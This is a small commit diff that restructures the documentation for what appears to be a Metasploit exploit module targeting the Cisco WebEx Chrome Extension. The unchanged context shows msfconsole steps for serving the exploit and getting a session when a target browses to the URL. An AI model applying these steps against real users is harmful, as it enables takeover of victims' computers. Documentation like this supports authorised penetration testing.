Update cisco_webex_ext doc

Author: wchen-r7

documentation/modules/exploit/windows/misc/cisco_webex_ext.md

@@ -12,8 +12,6 @@ Cisco WebEx Chrome Extension 1.0.1 is known to be affected.
 
 ## Verification Steps
 
-**Using cisco_webex_ext**
-
 1. Start msfconsole
 2. Do: ```use exploit/windows/misc/cisco_webex_ext```
 3. Do: ```set SRVHOST [IP ADDRESS]```
@@ -22,6 +20,8 @@ Cisco WebEx Chrome Extension 1.0.1 is known to be affected.
 6. Do: ```Choose a payload and set any specific options```
 6. Do: ```run```, after a target browses to the generated URL, you should receive a session like the following:
 
+## Demo
+
 ```
 msf > use exploits/windows/misc/cisco_webex_ext
 msf exploit(cisco_webex_ext) > set srvhost 10.6.0.151